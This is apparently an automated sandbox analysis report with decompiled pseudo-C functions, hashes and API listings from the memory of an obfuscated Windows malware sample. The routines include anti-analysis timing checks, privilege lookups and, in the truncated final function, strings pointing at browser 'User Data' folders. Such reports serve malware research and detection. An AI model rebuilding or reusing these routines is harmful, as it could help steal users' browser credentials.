API String ID: 2994545307-0
Opcode ID: e7ccb695eb0b728a0af29f8b4c181431d9d6f18be221d4cf0ba76231420583f3
Instruction ID: 298c0fd2c401256bb29fae22915f3a554b247feaf9535d627ff5aacfcefba630
Opcode Fuzzy Hash: e7ccb695eb0b728a0af29f8b4c181431d9d6f18be221d4cf0ba76231420583f3
Instruction Fuzzy Hash: 3C90026921300406D2807259540861A100797D5342F93D425A1005568CC95588A9B371

Uniqueness

Uniqueness Score: -1.00%

Function 00DE97A0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE97AA

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 48304d5555969a7a2f2e66a13f66bfc05dd12cb8d80fd2d17f5871c7854016a6
Instruction ID: 53a6fada648d1996df20891833204ce2463ef59a7ef1eddd159eb9279d570913
Opcode Fuzzy Hash: 48304d5555969a7a2f2e66a13f66bfc05dd12cb8d80fd2d17f5871c7854016a6
Instruction Fuzzy Hash: B090026130100407D240725954186165007E7E5341F53D021E1404564CD9558896B272

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9710 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE971A

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 973365c93cc37872391100ac3a2cfbadab038197bef207cae5b1eb92fcf0c487
Instruction ID: 96d3314d2bcc22caf3bbe20a1213003a783a31eb245c3c85fb60a77ec11e8b00
Opcode Fuzzy Hash: 973365c93cc37872391100ac3a2cfbadab038197bef207cae5b1eb92fcf0c487
Instruction Fuzzy Hash: A390027120100806D20066995408656100797E4341F53D021A6014565EC6A588D1B171

Uniqueness

Uniqueness Score: -1.00%

Function 00018ED0 Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00018ED0(intOrPtr* _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* _t25;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t42;
				void* _t52;
				intOrPtr* _t54;
				void* _t56;
				void* _t57;
				void* _t58;
				void* _t59;

				_t54 = _a4;
				_t42 = 0; // executed
				_t25 = E00017210(_t54,  &_v24); // executed
				_t57 = _t56 + 8;
				if(_t25 != 0) {
					E00017420( &_v24,  &_v840);
					_t58 = _t57 + 8;
					do {
						E0002BF40( &_v284, 0x104);
						 *((intOrPtr*)( &_v804 - 0x73))();
						0x53018f2d();
						E0002C5B0();
						_t59 = _t58 + 0x10;
						_t52 = 0x4f;
						while(1) {
							_t34 = E00025A40(E000259E0(_t54, _t52),  &_v284);
							_t59 = _t59 + 0x10;
							if(_t34 != 0) {
								break;
							}
							_t52 = _t52 + 1;
							if(_t52 <= 0x62) {
								continue;
							} else {
							}
							goto L9;
						}
						_t10 = _t54 + 0x18; // 0x5e14c483
						 *(_t54 + 0x478) =  *(_t54 + 0x478) ^  *_t10;
						_t42 = 1;
						L9:
						_t36 = E00017450( &_v24,  &_v840);
						_t58 = _t59 + 8;
					} while (_t36 != 0 && _t42 == 0);
					_t37 = E000174D0(_t54,  &_v24); // executed
					if(_t42 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t37 - 0 + _t37;
						 *((intOrPtr*)(_t54 + 0x560)) =  *((intOrPtr*)(_t54 + 0x560)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t54 + 0x35)) =  *((intOrPtr*)(_t54 + 0x35)) + _t42;
					_t21 = _t54 + 0x35; // 0xffff43e8
					 *((intOrPtr*)(_t54 + 0x36)) =  *((intOrPtr*)(_t54 + 0x36)) +  *_t21 + 1;
					return 1;
				} else {
					return _t25;
				}
			}

0x00018edb
0x00018ee3
0x00018ee5
0x00018eea
0x00018eef
0x00018f02
0x00018f07
0x00018f10
0x00018f1c
0x00018f26
0x00018f2a
0x00018f2f
0x00018f34
0x00018f37
0x00018f40
0x00018f52
0x00018f57
0x00018f5c
0x00000000
0x00000000
0x00018f5e
0x00018f62
0x00000000
0x00000000
0x00018f64
0x00000000
0x00018f62
0x00018f66
0x00018f69
0x00018f6f
0x00018f71
0x00018f7c
0x00018f81
0x00018f84
0x00018f91
0x00018f9c
0x00018f9e
0x00018fa4
0x00018fa8
0x00018fab
0x00018fab
0x00018fb2
0x00018fb5
0x00018fba
0x00018fc7
0x00018ef6
0x00018ef6
0x00018ef6

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45a9ffffc1bb66904736693551cb8cec68a4d9d239754d67def20e9a94783bdb
Instruction ID: e35ec43a520970814b0c100caa7b1e99d764dbe41b3e35e75e16ffab245d6715
Opcode Fuzzy Hash: 45a9ffffc1bb66904736693551cb8cec68a4d9d239754d67def20e9a94783bdb
Instruction Fuzzy Hash: 502107B2D4021857CB60D664AD42AFFB3BCAB50314F44456EF94993142FB34AB8987A1

Uniqueness

Uniqueness Score: -1.00%

Function 00017678 Relevance: 1.6, APIs: 1, Instructions: 58
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 19%

			E00017678(void* __ebx, void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t15;
				int _t16;
				char* _t21;
				long _t26;
				void* _t30;
				int _t31;
				void* _t34;
				void* _t36;

				asm("cdq");
				asm("salc");
				_t34 = _t36;
				_v68 = 0;
				E0002BF90( &_v67, 0, 0x3f);
				_t21 =  &_v68;
				E0002CB70(_t21, 3);
				_t30 = _a4 + 0x20;
				_t15 = E0001A140(__ebx, _t30, _t30,  &_v68);
				 *((intOrPtr*)(_t15 - 0x2a)) =  *((intOrPtr*)(_t15 - 0x2a)) + _t21;
				asm("les ebp, [edx]");
				_push(0);
				_push(_t15);
				_push(_t30);
				_t16 = E00025AA0();
				_t31 = _t16;
				if(_t31 != 0) {
					_t26 = _a8;
					_t16 = PostThreadMessageW(_t26, 0x111, 0, 0); // executed
					_t44 = _t16;
					if(_t16 == 0) {
						_t16 =  *_t31(_t26, 0x8003, _t34 + (E000198A0(_t44, 1, 8) & 0x000000ff) - 0x40, _t16);
					}
				}
				return _t16;
			}

0x00017678
0x00017679
0x00017681
0x0001768f
0x00017693
0x00017698
0x0001769e
0x000176aa
0x000176ae
0x000176b2
0x000176b7
0x000176ba
0x000176bc
0x000176bd
0x000176be
0x000176c3
0x000176ca
0x000176cd
0x000176da
0x000176dc
0x000176de
0x000176fb
0x000176fb
0x000176fd
0x00017702

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 000176DA

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: f6403fece61756f19fca25832cce058397abb58efcec65ae6e4cf4794dc32fa5
Instruction ID: a8f1ca93f9235945fcf0f80d91b40b99fdf7eb8c3e4d0459f43e1d1c711dc9d9
Opcode Fuzzy Hash: f6403fece61756f19fca25832cce058397abb58efcec65ae6e4cf4794dc32fa5
Instruction Fuzzy Hash: CF01D431A8022877E720A694AC53FFE776C5B45B50F040119FF04BA1C2EB946A0647E6

Uniqueness

Uniqueness Score: -1.00%

Function 00017680 Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 28%

			E00017680(void* __ebx, void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t14;
				intOrPtr* _t15;
				int _t16;
				char* _t20;
				long _t25;
				void* _t28;
				intOrPtr* _t29;
				void* _t30;

				_v68 = 0;
				E0002BF90( &_v67, 0, 0x3f);
				_t20 =  &_v68;
				E0002CB70(_t20, 3);
				_t28 = _a4 + 0x20;
				_t14 = E0001A140(__ebx, _t28, _t28,  &_v68);
				 *((intOrPtr*)(_t14 - 0x2a)) =  *((intOrPtr*)(_t14 - 0x2a)) + _t20;
				asm("les ebp, [edx]");
				_push(0);
				_push(_t14);
				_push(_t28);
				_t15 = E00025AA0();
				_t29 = _t15;
				if(_t29 != 0) {
					_t25 = _a8;
					_t16 = PostThreadMessageW(_t25, 0x111, 0, 0); // executed
					_t37 = _t16;
					if(_t16 == 0) {
						_t16 =  *_t29(_t25, 0x8003, _t30 + (E000198A0(_t37, 1, 8) & 0x000000ff) - 0x40, _t16);
					}
					return _t16;
				}
				return _t15;
			}

0x0001768f
0x00017693
0x00017698
0x0001769e
0x000176aa
0x000176ae
0x000176b2
0x000176b7
0x000176ba
0x000176bc
0x000176bd
0x000176be
0x000176c3
0x000176ca
0x000176cd
0x000176da
0x000176dc
0x000176de
0x000176fb
0x000176fb
0x00000000
0x000176fd
0x00017702

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 000176DA

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: b940b0d8f9e4a1079fb26d36e537f025d2dd8fcbc9736ce51c02ce69233ada87
Instruction ID: 0ed27361cd39d7793b068bc54f7274e6b2bed171b78c3affee9ff523d79bf86e
Opcode Fuzzy Hash: b940b0d8f9e4a1079fb26d36e537f025d2dd8fcbc9736ce51c02ce69233ada87
Instruction Fuzzy Hash: 3301A731A8062877E721A6959C43FFE776C5B45B51F040115FF04BA1C2EBD4790647E6

Uniqueness

Uniqueness Score: -1.00%

Function 00017645 Relevance: 1.5, APIs: 1, Instructions: 44
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 000176DA

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 59bf42766f32decbeb04b755f683b69a8c7867882a09b2f6f0109e836a5e378c
Instruction ID: 534669a7632c7f74ec34541ba64c8b15577ea823b871fd7bf4c692905a49bb04
Opcode Fuzzy Hash: 59bf42766f32decbeb04b755f683b69a8c7867882a09b2f6f0109e836a5e378c
Instruction Fuzzy Hash: 8BF059327842283BE2205A586C13FFDB3A8AB85F10F18015AFF08DF1C2EA955C4643E6

Uniqueness

Uniqueness Score: -1.00%

Function 0002A663 Relevance: 1.5, APIs: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E0002A663(intOrPtr _a4, int _a8) {

				asm("popad");
				asm("lds ebx, [edx+eax*8+0x75131443]");
				_pop(ds);
				asm("loop 0xffffffc4");
				asm("in eax, dx");
				_t5 = _a4;
				E0002AF70( *((intOrPtr*)(_a4 + 0xa18)), _t5, _t5 + 0xc98,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x36);
				ExitProcess(_a8);
			}

0x0002a663
0x0002a664
0x0002a66b
0x0002a66c
0x0002a66f
0x0002a673
0x0002a68a
0x0002a698

APIs

RtlFreeHeap.NTDLL(00000060,00019113,?,?,00019113,00000060,00000000,00000000,?,?,00019113,?,00000000), ref: 0002A65D

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 51823a8af5eb9c0a5067f04d673b5a87a974213d63ec2c9c88e4c7888d6c6608
Instruction ID: 67e370ff36f75ffd76f74db572989b853c9c503a76f0c3f513e267ca59e15473
Opcode Fuzzy Hash: 51823a8af5eb9c0a5067f04d673b5a87a974213d63ec2c9c88e4c7888d6c6608
Instruction Fuzzy Hash: 6EF09B71240224ABDB14DF98DC49EEB77ACEF45750F254054F90857252CA30FD15C6F5

Uniqueness

Uniqueness Score: -1.00%

Function 0002A5F0 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0002A5F0(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;

				E0002AF70( *((intOrPtr*)(_a4 + 0x14)), _a4, _t7 + 0xc8c,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0002a607
0x0002a61d
0x0002a621

APIs

RtlAllocateHeap.NTDLL(00025186,?,000258FF,000258FF,?,00025186,?,?,?,?,?,00000000,00019113,?), ref: 0002A61D

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8082421df8bc89d162f2638fa4c1385792dc10d17e44cb2d46fb0fb817fbd62f
Instruction ID: 1556bf7d36ca2797f8f8f88c17b77569bda5e54e17b734d2a449c1b9c60372fe
Opcode Fuzzy Hash: 8082421df8bc89d162f2638fa4c1385792dc10d17e44cb2d46fb0fb817fbd62f
Instruction Fuzzy Hash: 7AE012B1200218ABDB14EF89DC85EAB77ACAF88654F018154BA085B242CA30F9108AB1

Uniqueness

Uniqueness Score: -1.00%

Function 0002A630 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0002A630(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;

				_t3 = _a4 + 0xc90; // 0xc90
				E0002AF70( *((intOrPtr*)(_a4 + 0x14)), _t7, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0002a63f
0x0002a647
0x0002a65d
0x0002a661

APIs

RtlFreeHeap.NTDLL(00000060,00019113,?,?,00019113,00000060,00000000,00000000,?,?,00019113,?,00000000), ref: 0002A65D

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a6e6f41d857b18798f6d11579541f16a6a166f54801e0754a839ad98261f1417
Instruction ID: 03f78516ccf457913156daadf7d47dfc4124ce971ac6e9bea489242e01cbe821
Opcode Fuzzy Hash: a6e6f41d857b18798f6d11579541f16a6a166f54801e0754a839ad98261f1417
Instruction Fuzzy Hash: 30E012B1200218ABDB14EF89DC49EA777ACAF88750F118158BA085B252CA30E9108AB1

Uniqueness

Uniqueness Score: -1.00%

Function 0002A790 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0002A790(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;

				E0002AF70( *((intOrPtr*)(_a4 + 0xa1c)), _a4, _t7 + 0xca8,  *((intOrPtr*)(_a4 + 0xa1c)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0002a7aa
0x0002a7c0
0x0002a7c4

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0001D5C2,0001D5C2,00000041,00000000,?,00019185), ref: 0002A7C0

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: b6c9d2bb7c1b66bb05113664278c8ba5e33a8a1c89f8aae2c7e428828915c1da
Instruction ID: a3fa7846764d2b2ebe3ec537f525fa96c06430219b938c31ca40262de98c3edd
Opcode Fuzzy Hash: b6c9d2bb7c1b66bb05113664278c8ba5e33a8a1c89f8aae2c7e428828915c1da
Instruction Fuzzy Hash: B1E01AB12002186BDB10DF89DC45EE777ADAF89654F018164BA0857242C930E8148AB1

Uniqueness

Uniqueness Score: -1.00%

Function 0002A670 Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0002A670(intOrPtr _a4, int _a8) {

				_t5 = _a4;
				E0002AF70( *((intOrPtr*)(_a4 + 0xa18)), _t5, _t5 + 0xc98,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x36);
				ExitProcess(_a8);
			}

0x0002a673
0x0002a68a
0x0002a698

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0002A698

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 1cfc6acf09b4d581fed35e39f5b9fca2d0b24bba4d46bbacac3375e597e63901
Instruction ID: c1abe40bf26ac52c9bbad3406a38fd3f97cf6d5e32bec2962db95e7330fa8904
Opcode Fuzzy Hash: 1cfc6acf09b4d581fed35e39f5b9fca2d0b24bba4d46bbacac3375e597e63901
Instruction Fuzzy Hash: 1FD017726002187BD620EB98DC89FD777ACDF457A0F0180A5BA0C6B642C934BA0087E1

Uniqueness

Uniqueness Score: -1.00%

Function 00DE967A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE9694

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 88a567d819e916c637ae9fbfe824e9b4383103668dd80e4aaea0381cfabbc441
Instruction ID: 0d0c5236a1d4b91c74d201d0f1c9daadcb15fa9dd0790dc291cfa029acad976d
Opcode Fuzzy Hash: 88a567d819e916c637ae9fbfe824e9b4383103668dd80e4aaea0381cfabbc441
Instruction Fuzzy Hash: 17B09B719024C5C9D711E7614608727790177D4741F17C066D2020651A4778C4D1F5B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0001DC20 Relevance: 312.0, Strings: 249, Instructions: 770
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E0001DC20(void* __ebx, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v52;
				short _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				short _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				char _v84;
				short _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				char _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				char _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				char _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				char _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				char _v164;
				short _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				char _v184;
				short _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				char _v204;
				short _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				char _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				char _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				char _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				char _v284;
				intOrPtr _v288;
				char _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				char _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				char _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				char _v372;
				short _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				char _v404;
				short _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				char _v436;
				short _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				char _v468;
				short _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				char _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				intOrPtr _v512;
				intOrPtr _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				char _v532;
				short _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				char _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				char _v568;
				short _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				char _v604;
				short _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				intOrPtr _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				char _v640;
				short _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v680;
				char _v684;
				short _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				intOrPtr _v700;
				intOrPtr _v704;
				intOrPtr _v708;
				intOrPtr _v712;
				intOrPtr _v716;
				intOrPtr _v720;
				intOrPtr _v724;
				char _v728;
				short _v732;
				intOrPtr _v736;
				intOrPtr _v740;
				intOrPtr _v744;
				intOrPtr _v748;
				intOrPtr _v752;
				intOrPtr _v756;
				intOrPtr _v760;
				intOrPtr _v764;
				intOrPtr _v768;
				char _v772;
				short _v776;
				intOrPtr _v780;
				intOrPtr _v784;
				intOrPtr _v788;
				intOrPtr _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				char _v808;
				intOrPtr _v812;
				char _v816;
				short _v820;
				intOrPtr _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				intOrPtr _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr _v848;
				intOrPtr _v852;
				intOrPtr _v856;
				intOrPtr _v860;
				char _v864;
				short _v868;
				intOrPtr _v872;
				intOrPtr _v876;
				intOrPtr _v880;
				intOrPtr _v884;
				intOrPtr _v888;
				intOrPtr _v892;
				intOrPtr _v896;
				intOrPtr _v900;
				intOrPtr _v904;
				intOrPtr _v908;
				char _v912;
				intOrPtr _v916;
				intOrPtr _v920;
				intOrPtr _v924;
				intOrPtr _v928;
				intOrPtr _v932;
				intOrPtr _v936;
				intOrPtr _v940;
				intOrPtr _v944;
				intOrPtr _v948;
				intOrPtr _v952;
				intOrPtr _v956;
				intOrPtr _v960;
				char _v964;
				intOrPtr _v968;
				intOrPtr _v972;
				intOrPtr _v976;
				intOrPtr _v980;
				intOrPtr _v984;
				intOrPtr _v988;
				intOrPtr _v992;
				intOrPtr _v996;
				intOrPtr _v1000;
				intOrPtr _v1004;
				intOrPtr _v1008;
				intOrPtr _v1012;
				intOrPtr _v1016;
				char _v1020;
				signed int _v1024;
				signed int _v1028;
				signed int _v1032;
				signed int _v1036;
				signed int _v1040;
				intOrPtr _v1044;
				intOrPtr _v1048;
				intOrPtr _v1052;
				intOrPtr _v1056;
				intOrPtr _v1060;
				intOrPtr _v1064;
				intOrPtr _v1068;
				intOrPtr _v1072;
				intOrPtr _v1076;
				intOrPtr _v1080;
				char _v1084;
				char _v1126;
				short _v1128;
				intOrPtr _v1132;
				intOrPtr _v1136;
				intOrPtr _v1140;
				intOrPtr _v1144;
				char _v1148;
				void* __esi;
				signed int _t496;
				signed int _t509;
				signed int _t510;
				void* _t534;
				void* _t561;
				void* _t573;
				void* _t583;
				void* _t590;
				void* _t593;
				void* _t600;
				void* _t603;
				void* _t609;
				void* _t631;
				signed int _t643;
				intOrPtr _t766;
				intOrPtr _t767;

				_t766 = _a4;
				_t2 = _t766 + 0xb8c; // 0x48c48300
				_t767 =  *_t2;
				if(_t767 != 0) {
					E0002BF40(_t767, 0x18b4);
					_t496 = E000288A0(_t766, 0x16);
					 *(_t767 + 0x18b0) = _t496;
					__eflags = _t496;
					if(_t496 == 0) {
						goto L1;
					} else {
						_v1148 = 0x55005c;
						_v1144 = 0x650073;
						_v1140 = 0x200072;
						_v1136 = 0x610044;
						_v1132 = 0x610074;
						_v1128 = 0;
						E0002BF90( &_v1126, 0, 0x2a);
						_t13 = E0002C200( &_v1148) + 2; // 0x2
						_t15 = _t767 + 4; // 0x48c48304
						E0002BF10(_t15,  &_v1148, _t500 + _t13);
						_t16 = _t767 + 0x14a0; // 0x48c497a0
